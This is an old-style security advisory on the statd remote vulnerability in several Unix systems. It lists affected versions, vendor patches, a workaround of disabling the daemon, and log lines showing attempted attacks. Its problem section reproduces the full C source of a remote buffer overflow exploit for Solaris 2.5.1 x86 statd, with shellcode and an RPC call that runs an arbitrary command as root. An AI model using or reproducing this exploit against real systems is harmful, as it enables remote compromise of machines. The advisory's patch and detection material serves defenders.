COMMAND

    statd

SYSTEMS AFFECTED

    Digital Equip. Corp.   UNIX V4.0 thru V4.0c
    Hewlett Packard        unknown at this time
    IBM Corporation        AIX 3.2 and 4.1
    Silicon Graphics       5.0.x, 5.1.x, 5.2, 5.3
    Sun Microsystems       5.5.1, 5.5.1_x86, 5.5, 5.5_x86, 5.4,
                           5.4._x86, 4.1.4, and 4.1.3_U1.

PROBLEM

    An anonymous source  posted Solaris 2.5.1  x86 statd exploit.   If
    exploited, this vulnerability can be used to remove any file  that
    the root user can remove or to create any file that the root  user
    can  create.  The  security  of  a  system  could  be   completely
    compromised in this way.  statd/rpc.c's definition of NUM_PROC_FDS
    is too small, it can cause create to fail.  Exploit below says  it
    how (this program doesn't compile under Solaris/SPARC).  Note that
    the x86 statd exploit that  was posted to rootshell actually  is a
    remote  buffer  overflow  and  will  execute  commands  on sun x86
    platforms; it won't overwrite files.


    /*
     statd remote overflow, solaris 2.5.1 x86
     there is a patch  for statd in solaris  2.5, well, it looks  like
     they check only for '/' characters and they left overflow there..
     nah, it's solaris

     usage: ./r host [cmd]  # default cmd is "touch /tmp/blahblah"
                            # remember that statd is standalone daemon

     Please do not distribute.
    */

    #include <sys/types.h>
    #include <sys/time.h>
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <rpc/rpc.h>
    #include <rpcsvc/sm_inter.h>
    #include <sys/socket.h>

    #define BUFSIZE 1024
    #define ADDRS 2+1+1+4
    #define ADDRP 0x8045570;

    /* up to ~ 150 characters, there must be three strings */
    char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};

    char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89"
                   "\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb"
                   "\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89"
                   "\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50"
                   "\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01"
                   "\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02"
                   "\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";

    char nop[]="\x90";

    char code[4096];

    void usage(char *s) {
      printf("Usage: %s host [cmd]\n", s);
      exit(0);
    }

    main(int argc, char *argv[]) {
      CLIENT *cl;
      enum clnt_stat stat;
      struct timeval tm;
      struct mon monreq;
      struct sm_stat_res monres;
      struct hostent *hp;
      struct sockaddr_in target;
      int sd, i, noplen=strlen(nop);
      char *ptr=code;

      if (argc < 2)
        usage(argv[0]);
      if (argc == 3)
        cmd[2]=argv[2];

      for (i=0; i< sizeof(code); i++)
        *ptr++=nop[i % noplen];

      strcpy(&code[750], asmcode);  /* XXX temp. */
      ptr=code+strlen(code);
      for (i=0; i<=strlen(cmd[0]); i++)
        *ptr++=cmd[0][i]-1;
      for (i=0; i<=strlen(cmd[1]); i++)
        *ptr++=cmd[1][i]-1;
      for (i=0; i<=strlen(cmd[2]); i++)
        *ptr++=cmd[2][i]-1;
      ptr=code+BUFSIZE-(ADDRS<<2);
      for (i=0; i<ADDRS; i++, ptr+=4)
        *(int *)ptr=ADDRP;
      *ptr=0;

      printf("strlen = %d\n", strlen(code));

      memset(&monreq, 0, sizeof(monreq));
      monreq.mon_id.my_id.my_name="localhost";
      monreq.mon_id.my_id.my_prog=0;
      monreq.mon_id.my_id.my_vers=0;
      monreq.mon_id.my_id.my_proc=0;
      monreq.mon_id.mon_name=code;

      if ((hp=gethostbyname(argv[1])) == NULL) {
        printf("Can't resolve %s\n", argv[1]);
        exit(0);
      }
      target.sin_family=AF_INET;
      target.sin_addr.s_addr=*(u_long *)hp->h_addr;
      target.sin_port=0;    /* ask portmap */
      sd=RPC_ANYSOCK;

      tm.tv_sec=10;
      tm.tv_usec=0;
      if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
        clnt_pcreateerror("clnt_create");
        exit(0);
      }
      stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                    (char *)&monres, tm);
      if (stat != RPC_SUCCESS)
        clnt_perror(cl, "clnt_call");
      else
        printf("stat_res = %d.\n", monres.res_stat);
      clnt_destroy(cl);
    }

SOLUTION

    The statd daemon is  required as part of  an NFS environment.   If
    you are not using NFS there is no need for this program and it can
    be disabled.   The statd (or  rpc.statd) program is  often started
    in  the  system  initialisation  scripts  (such  as  /etc/rc*   or
    /etc/rc*.d/*).  If you do not require statd it should be commented
    out from the initialisation  scripts.  In addition,  any currently
    running statd should be identified using ps(1) and then terminated
    using kill(1).

    Digital Equipment Corporation
    =============================
        Digital Unix V3.2g, 4.0, 4.0a, V4.0b, 4.0c, 4.0d are affected.
        Digital strongly recommends upgrading to a minimum of  Digital
        UNIX V4.0b accordingly, and that the appropriate patch kit  be
        installed immediately.   This potential  security problem  has
        been resolved and an official patch for this problem has  been
        made available  as an early release kit for DIGITAL UNIX V4.0a
        (duv40ass0000600039900-19980317.*) and, included in the latest
        DIGITAL UNIX V4.0b and V4.0d aggregate DUPATCH Kit.

        The V3.2g aggregate BL 10 patch kit #5
         is scheduled for release in late June 1998.
        The V4.0 aggregate  BL 9 patch kit #6
         is scheduled for release mid May 1998.
        The V4.0c aggregate BL10 patch kit #6
         is scheduled for release mid May 1998.

        Go to:

        http://www.service.digital.com/html/patch_service.html

        and then choose the appropriate version directory and download
        the  patch  accordingly.   The  appropriate  patch kit must be
        installed following any upgrade to V4.0a, V4.0b or V4.0d.

    Hewlett Packard
    ===============
         This problem is in the investigation process.

    IBM Corporation
    ===============
         AIX 3.2 and 4.1 are vulnerable to the statd buffer overflow.
         Apply the following fix to your system:

         APAR - IX56056 (PTF - U441411) for AIX 3.2
         APAR - IX55931 for AIX 4.1

    Silicon Graphics
    ================
        Following workarounds (patches) are fixing this problem:

        OS Version     Patch #      Other Actions
        ----------     ---------    -------------
        IRIX 5.0.x     not avail    upgrade or disable service
        IRIX 5.1.x     not avail    upgrade or disable service
        IRIX 5.2       not avail    upgrade or disable service
        IRIX 5.3       1391

    Sun Microsystems
    ================
        The  statd  vulnerability  has  been  fixed  by  the following
        patches:

        SunOS version   Patch Id
        -------------   --------
        5.5.1           104166-02
        5.5.1_x86       104167-02
        5.5             103468-03
        5.5_x86         103469-03
        5.4             102769-04
        5.4_x86         102770-04
        4.1.4           102516-06
        4.1.3_U1        101592-09

        SunOS 5.6 and 5.6_x86 are not vulnerable to this problem.
        The fixed statd logs on an attempted attack:

        Nov 25 12:15:03 victim statd[809]: invalid pathname argument received from attacker
        Nov 25 12:15:03 victim statd[809]: this might indicate an attempted security break-in